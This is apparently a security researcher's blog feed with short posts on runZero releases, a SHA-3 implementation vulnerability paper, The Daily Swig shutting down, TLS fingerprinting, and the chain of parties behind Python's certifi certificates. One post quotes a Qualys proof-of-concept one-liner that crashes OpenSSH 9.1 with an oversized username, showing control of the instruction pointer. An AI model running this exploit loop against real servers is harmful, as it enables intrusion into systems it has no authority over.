It's definitely that time of the week.
home > posts
I had a blast working on the latest version of runZero (https://www.runzero.com/blog/runzero-3.8/).
Writing queries that attach vulnerabilities to assets feels like a strange mash-up of SIEM threat hunting, vulnerability scanning, and a shodan safari.
runZero 3.7 is live with support for custom integrations, a new python SDK, a Service Now Graph Connector, and a bucket of new fingerprints and protocols. The hosted scan engines now support scanning up to a /8 at a time on all ports (!). Free trials (and a free tier) even if you don't want to share a corporate email address:
https://www.runzero.com/blog/runzero-3.7/Production by The #TroubleShooters is unexpectedly out TODAY: https://thetroubleshooters.bandcamp.com/album/production (int eighty & kHill) !!!
I love crypto research that demonstrates practical attacks. The paper `A Vulnerability in Implementations of SHA-3, SHAKE, EdDSA, and Other NIST-Approved Algorithm` by Nicky Mouha and Christopher Celi demonstrates RCE (!) through controlled memory corruption in the final-round update of the Keccak code used by SHA-3. This implementation bug affected Python, PHP, and the SHA-3 Ruby package: https://eprint.iacr.org/2023/331
Bonus points for dropping a Metasploit reverse TCP payload!
Holy cow. The Daily Swig by PortSwigger, one of my favorite reads, is shutting down due to law suits and drama: https://portswigger.net/daily-swig/were-going-teetotal-its-goodbye-to-the-daily-swig
"We have written stories about numerous bad actors, some of whom are well-funded, and we have been obliged to pay settlements for malicious legal actions. We have sometimes been targeted by activists seeking to damage our software business because they dislike our story. This reality made it harder to justify continuing with the Swig."
Thank you for the great articles over the years, you will be missed!
This post by the Qualys Security Advisory team demonstrating rip/pc control on OpenSSH 9.1 (running on OpenBSD!) is savage: https://seclists.org/oss-sec/2023/q1/92
Here I was thinking this bug was hopeless and they one-line it without writing new code:
$ cp -i /usr/bin/ssh ./ssh
$ sed -i s/OpenSSH_9.1/FuTTYSH_9.1/g ./ssh
$ user=`perl -e 'print "A" x 300'` && while true ;do ./ssh -o NumberOfPasswordPrompts=0 -o Ciphers=aes128-ctr -l
"$user:$user" 192.168.56.123 ;done...
#1 0x4141414141414141 in ?? ()
A neat post by @foote & co at Fastly: A first look at Chrome's TLS ClientHello permutation in the wild https://www.fastly.com/blog/a-first-look-at-chromes-tls-clienthello-permutation-in-the-wild
Today’s fun turtle-chasing[0] moment was trying to understand how a python application validated TLS certificates. The application relies on the certifi package[1], which is built from the python-certifi github repository[2]. Both of these describe the source of this data as Mozilla, but they actually call an endpoint on the https://mkcert.org service hosted on Digital Ocean[3], which is built from the Lukasa/mkcert github repository[4]. The mkcert repository uses a Mercurial repository URL hosted by Mozilla[5]. This is fed by Mozilla’s CA inclusion process[6].
Even ignoring the Mozilla CA process, the number of people and companies involved in bringing a static PEM file into your python application is mind-boggling.
0. https://en.wikipedia.org/wiki/Turtles_all_the_way_down
1. https://pypi.org/project/certifi/
2. https://github.com/certifi/python-certifi/blob/master/Makefile
4. https://github.com/Lukasa/mkcert
5. https://hg.mozilla.org/mozilla-central/raw-file/tip/security/nss/lib/ckfw/builtins/certdata.txt
6. https://wiki.mozilla.org/CA/Included_Certificates
The unintentional irony of the mkcert.org landing page is 😘